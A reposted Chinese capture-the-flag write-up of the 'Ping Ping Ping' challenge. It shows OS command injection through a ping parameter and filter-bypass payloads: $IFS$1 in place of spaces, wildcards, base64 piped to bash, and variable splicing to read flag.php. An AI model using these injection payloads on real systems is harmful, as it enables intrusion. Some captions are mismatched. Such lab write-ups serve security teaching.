本文主要是介绍[GXY CTF2019] Ping Ping Ping,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
打开后的样子
f12查看源码,没发现有价值的东西
试着从URL栏入手,根据提示 猜测构造/?ip= 的get传值
猜测服务器版本为linux,试一下其他命令,可行。堆叠注入
尝试读取flag.php,服务器把空格过滤了。。
想办法绕过。
绕过空格方法:
$IFS$1 默认是空白
, 也可以实现空格功能
这篇文章介绍的比较详细
- IFS的默认值为:空白(包括:空格,tab, 和新行),将其ASSII码用十六进制打印出来就是:20 09 0a (见下面的shell脚本)。
- IFS对空格的空白的处理和其他字符不一样,左右两边的纯空白会被忽略,多个连续的空白被当成一个IFS处理。
- S*中使用IFS中的第一个字符。
- awk中的FS(域分隔符)也和IFS有类似的用法和作用。
flag也被过滤了
如果flag不好读,试一试index能不能读
常见的几种过滤
cat fl* 使用通配符
echo “sadasdasdsdassda” |base64 -d |bash 利用编码解码绕过
cat fl\ag.php 利用tac反向输出
cat fla’'g.php
cat fl/**/ag.php
用tac反向输出,无效
用/**/无效
源码中都a变量可以用
可以进行变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
这篇关于[GXY CTF2019] Ping Ping Ping的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!